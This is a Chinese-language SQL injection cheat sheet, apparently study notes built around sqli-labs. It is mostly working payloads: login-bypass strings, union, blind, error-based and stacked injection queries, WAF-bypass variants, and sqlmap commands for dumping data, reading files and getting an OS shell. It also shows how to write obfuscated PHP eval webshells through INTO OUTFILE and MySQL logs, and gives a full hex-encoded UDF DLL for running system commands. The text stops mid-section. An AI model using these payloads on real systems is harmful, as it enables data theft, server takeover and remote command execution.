sql注入

sql注入

数据库知识

数据库结构:

mysql

1
2
库-表-字段(数据)
database->table->column->value

常用sql语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#数据库创建
mysql> create database school;
#查询数据库
mysql> show databases;
#创建表
mysql> create table student(id int(10),username varchar(20),mail varchar(20));
#查询表
mysql> show tables;
#插入数据
mysql> insert into student(id,username,mail) values(1,"zhangsan","zs@redteam.com");
mysql> insert into student(id,username,mail) values(2,"lisi","ls@redteam.com");
#查询数据
mysql> select mail from student;
mysql> select * from student;
#修改数据
mysql> update student set username="zhangsan2" where id = 1 ;
#删除数据
mysql> delete from student where id = 1;
#删除表
mysql> drop table student;
#删除数据库
mysql> drop database school;
#查询登录的用户
mysql> select user();
#查询数据存放地址
mysql> select @@datadir;
#查询数据库的版本
mysql> select version();
#where条件,limit条件
where 字段名=x 返回对应字段名为x的那一行
limit x,x 查询的数据 只返回第(x-1)行开始的内容 返回x行
mysql> select * from users where id='id' limit 0,1;

PHP连接数据库语句

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$host = "localhost";
$user = "root";
$pass = "root";

$conn = mysql_connect($host,$user,$pass); //打开非持久的 MySQL 连接
mysql_select_db("school"); //选择school数据库
$sql = "select * from student";
$result = mysql_query($sql); //执行sql语句
while($row = mysql_fetch_array($result)){ //取一行结果为数组(有keyvalue),没有行返回false
echo "id:".$row["id"]." username:".$row["username"]." mail:".$row["mail"]."<br>";
}
?>

sql注入

原理

闭合符号如'"'),达到执行其他语句的效果

万能密码

sql语句:

SELECT * FROM users WHERE username= '".$username."' AND Password= '".md5($password)."'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
' or 1='1
'or'='or'
"or "a"="a
a' having 1=1#
a' having 1=1--
admin'--
admin' or 1=1--
admin' or 1=1#
admin' or '1'='1'--
admin' or '1'='1
admin' OR 4=4/*
')or('a'='a
or 4=4--
"or 4=4--
'or 4=4/*
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
' OR '1'='1
'OR 4=4%00
"or 4=4%00
1'or'1'='1
1 or '1'='1'=1
1 or '1'='1' or 4=4
admin' UNION Select 1,1,1 FROM admin Where ''='
-1%cf' union select 1,1,1 as password,1,1,1 %23

union注入

union的使用:sql语句1 union sql语句2 如果字段数相同的话会同时返回,且sql语句1出错时只返回sql语句2

注入流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
判断注入点:
1 or 1=1
1 and 1=2 union
1' and 1=1#
1' and 1=2#
1' or 1=1#
1' union……#

获取字段数量,查看回显位置
-1' order by 4#
-1' union select 1,2,3#

查询库
-1' union select 1,2,database()#

查询库中表名
-1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

查询字段名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1#

查数据
-1' union select 1,2,id from sqli.users limit 0,1

布尔盲注

1
2
3
4
1' and substr(database(),1,1)='s'--+
1' and length(database())>=1--+
1' and length(select database())>=1--+
1' and ascii(substr((database(),1,1))>80--+

报错注入

updatexml

1
2
3
4
5
6
7
8
9
10
0x3a0x7e是为了在xpath中是语法错误的
http://127.0.0.1/sqli/Less-2/?id=1 and updatexml(1,concat(0x3a,database(),0x3a),1) --+
表名:
http://127.0.0.1/sqli/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
字段名:
http://127.0.0.1/sqli/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
数据:
http://127.0.0.1/sqli/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from security.users),0x7e),1) --+
数据:
http://127.0.0.1/sqli/Less-2/?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,(select password from users limit 0,1)) from security.users),0x7e),1) --+

extractvalue

1
2
3
4
5
6
7
8
9
10
11
12
描述:使用xpath表示法从XML字符串中提取值
xml_docment:xml标记
Xpthstring: 显示输入语句
new_value:新值
数据库名:
http://127.0.0.1/sqli/Less-2/?id=1 and extractvalue(1,concat(0x7e,concat(database())))--+
表名:
http://127.0.0.1/sqli/Less-2/?id=1 and extractvalue(1,concat(0x7e,concat((select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+
字段名:
http://127.0.0.1/sqli/Less-2/?id=1 and extractvalue(1,concat(0x7e,concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))--+
数据:
http://127.0.0.1/sqli/Less-2/?id=1 and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from security.users)))--+

floor()

floor的讲解参考:https://www.cnblogs.com/litlife/p/8472323.html

1
2
3
4
5
6
7
8
9
floor,count,group by冲突报错
数据库名:
http://127.0.0.1/sqli/Less-2/?id=1 and (select 1 from(select count(*),concat(database(),0x7e,floor(rand(0)2))x from information_schema.tables group by x) a)--+
表名:
http://127.0.0.1/sqli/Less-2/?id=1 and (select 1 from (select count(),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~',floor(rand(0)2)) as a from information_schema.tables group by x)a) --+
字段名:
http://127.0.0.1/sqli/Less-2/?id=1 and (select 1 from (select count(),concat('~',(select column_name from information_schema.columns where table_schema='security' limit 5,1),'~',floor(rand(0)2)) as a from information_schema.tables group by x)a) --+
数据:
http://127.0.0.1/sqli/Less-2/?id=1 and (select 1 from (select count() ,concat('~'(select concat(username,";",password,";")from security.users limit 5,1),floor(rand(0)*2))x from security.users group by x)a) --+

exp()

1
2
3
4
5
6
7
8
数据库名:
http://127.0.0.1/sqli/Less-2/?id=1 and exp(~(select*from(select database())x))--+
表名:
http://127.0.0.1/sqli/Less-2/?id=1 and exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema='security')x))-- +
字段名:
http://127.0.0.1/sqli/Less-2/?id=1 and exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')x))--+
数据:
http://127.0.0.1/sqli/Less-2/?id=1 and exp(~(select*from(select group_concat(username,0x7e,password) from security.users)x))--+

其他

参考https://blog.csdn.net/weixin_54217950/article/details/122938063

如果显示不完整: substring(database(),5,10) Substring是字符截取函数,从数据里面第五个字符开始截取十个字符

时间盲注

if(expr1,expr2,expr3)->如果expr1是true,则返回expr2;否则返回expr3。

1
2
3
4
1' and if(length(database())>1,sleep(5),1)--+
1' and if(substr(database(),1,1)='s',sleep(5),1)--+
#用ascii码的好处:MYSQL不区分大小写's'='S'为真
1' and if(ord(substr(database(),1,1))=114,sleep(5),1)--+

堆叠注入

1
2
3
4
5
1';show databases#
1;show databases#
1;show databases;
1';show tables#
1';show columns from words#

改表、字段名

有words表和1919810931114514表情况下

1. 将表words的名称改为其他的(如words1),
2. 将1919810931114514改为words.
3. 将flag改为id,
4. 在输入栏中输入1' or 1=1,将其中的数据全部输出,即为flag.

语句:

1
2
3
rename tables words to words1 ;
rename tables 1919810931114514 to words ;
alter table words change flag id varchar(100);#

sqlmap使用

参考资料:https://blog.csdn.net/u011377996/article/details/81368482 sql注入的防御: https://blog.51cto.com/u_12332766/2137035 https://www.freebuf.com/vuls/265308.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
常用语句:
判断是否存在注入 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1
读取日志的请求进行检测 sqlmap -l request.txt
查询当前的所有数据库 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
获取数据库下的表名 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security --tables
获取表中的字段名 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --columns
获取字段的内容 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump
获取数据库的所有用户 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --users
获取数据库用户的密码 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --password
获取当前数据库的名称 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
获取当前数据库的用户 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-user
sqlmap获取数据库名、数据库表、数据库字段
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --current-db
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security --tables
sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --columns
获取指定表中的数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --dump
获取所有表的数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dump-all
sqlmap读取系统文件 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/?id=1 --file-read=/etc/os-release
sqlmap写入系统文件 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/?id=1 --file-write=/root/test.php --file-dest=/var/www/html/test.php
sqlmap执行系统命令 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/?id=1 --os-shell

参数:

--level 探测等级:1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。
--risk 危险登录:1-3,默认为1,等级越高,越可能对数据库造成破坏
--id-dba 确认当前用户为管理权限(是否为root权限,mssql下最高权限为sa)
--sql-shell 运行自定义sql语句
--os-cmd,--os-shell 运行任意操作系统命令
--file-read 从数据库服务器中读取文件
--file-write 上传文件到数据库服务器中
--flush-session 清空已保存的会话信息
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
--threads= 使用多少线程

Bypass waf

绕过and、or

1
2
3
if((1=1),1,2)
||
&&

绕过空格

1
2
%0a
/**/

绕过order by

1
1/**/order/*//////*/by 3

绕过union select

1
2
3
1/**/union/*//////*//*!50441select*/ 1,2,3
unIon
selECt

绕过database(),user()

1
1/**/union/*//////*//*!50441select*/ 1,database(/*///*/),user(/*///*/)

获取表名

1
1/**/union/*//////*//*!50441select*/ 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(/*///*/)

获取列名

1
1/**/union/*//////*//*!50441select*/%201,2,group_concat(column_name) from information_schema.columns where%20table_schema=database(/*///*/) and/*/////*/table_name="admin"

获取数据

1
1/**/union/*//////*//*!50441select*/ 1,group_concat(password),group_concat(username) from admin

fuzz

mysql写shell、提权

shell

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,在 Windows 环境下成功率会很高。

outfile和dumpfile

条件

  1. 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

  2. gpc为off,on的话单引号被转义了,语句就不能正常执行了

  3. 要有file权限,默认情况下只有root有

select user,file_priv from mysql.user;

  1. 对目录要有写权限

  2. secure_file_priv的值非NULL或为导出的绝对路径

​ secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出 ​Mysql>=5.5.53 默认为NULL,即默认禁止导入导出 ​ Mysql<5.5.53 默认为空,即默认无限制

show global variables like '%secure_file_priv%';

union

1
2
3
4
5
?id=1' union select 1,'<?php phpinfo();?>',3 into outfile 'C:/shell.php'%23
?id=1' union select 1,'<?php phpinfo();?>',3 into dumpfile 'C:/shell.php'%23

hex
id=-1' union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "C:/shell.php"%23

非union

使用fields terminated bylines terminated by写shell

1
2
3
4
?id=1 into outfile 'C:/info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
?id=1 into outfile 'C:/info.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e %23
?id=1 into outfile 'C:/info.php' lines terminated by '<?php phpinfo();?>'%23
?id=1 into outfile 'C:/info.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e %23

outfile和dumpfile的区别

outfile

1
2
3
4
支持多行数据同时导出
使用union联合查询时,要保证两侧查询的列数相同
会在换行符制表符后面追加反斜杠
会在末尾追加换行(所以不能直接写入二进制文件)

dumpfile

1
2
3
4
每次只能导出一行数据
不会在换行符制表符后面追加反斜杠
不会在末尾追加换行
如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制

日志写shell(general_log)

secure_file_priv Mysql>=5.5.53 默认为NULL,即默认禁止导入导出 Mysql<5.5.53 默认为空,即默认无限制

在5.5.53版本后无法用sql语句修改secure_file_priv ,利用日志将shell写入日志中

条件

  1. 对目录要有写权限

  2. 高权限运行 MySQL 或者 Apache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';
开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log = on;
设置日志路径
set global general_log_file = '/var/www/html/info.php';
执行查询,写入shell
select '<?php phpinfo();?>';
结束后,恢复日志路径,关闭日志监测
set global general_log = off;

SQL查询免杀shell
select "<?php $sl = create_function('', @$_REQUEST['cmd']);$sl();?>";

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>";

慢查询getshell(slow_query_log)

如果是普通日志,开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错

使用慢查询日志时,只有当查询时间超过系统时间时才会记录在日志中

1
2
3
4
5
6
7
8
9
10
查看慢查询信息是否开启
show variables like '%slow_query_log%';
启用慢查询日志(默认禁用)
set global slow_query_log=1;
修改日志文件路径
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';
查看写入慢日志的时间要求
show global variables like '%long_query_time%'
执行查询,写入shell
select '<?php @eval($_POST[abc]);?>' or sleep(11);

udf提权

user defined function,用户自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 等方便。

udf在mysql>=5.1的版本中,存在于mysql/lib/plugin目录下,文件后缀为.dll,常用c语言编写。

流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
查看secure_file_priv
show variables like '%secure_file_priv%';
查看插件目录
show variables like '%plugin%';
如果没有,手工创建(mysql5.1以后基本不可能成功)
select 1 into dumpfile 'D:\\env\\php\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$index_allocation';
上传dll后,创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll';
导入成功后查看一下mysql函数里面是否新增了sys_eval函数:
select * from mysql.func where name = 'sys_eval';
执行命令
select sys_eval('whoami');
删除函数
drop function sys_eval;

这里注意如果有webshell可以直接上传dll或so文件就直接上传即可

如果有注入,但是无webshell,可以利用sqlmap,因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击

1
sqlmap -u  "http://localhost:3306/" --data="id=1" --file-write="./lib_mysqludf_sys_64.so"  --file-dest="/usr/lib/mysql/plugin/udf.so"  

如果没有注入,但可以操作原生sql语句,例如进入phpmyadmin中

利用16进制into dumpfile写入,具体payload查询:https://www.sqlsec.com/tools/udf.html

1
2
直接 SELECT 查询十六进制写入
SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'D:\\env\\php\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

dll和so文件

sqlmap中.dll.so文件的路径:sqlmap/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py来解码使用

1
2
3
4
5
6
7
8
9
10
└─$pwd
/mnt/c/Penetration/DatabaseTools/SQLMap/extra/cloak
# 解码 32 位的 Linux 动态链接库
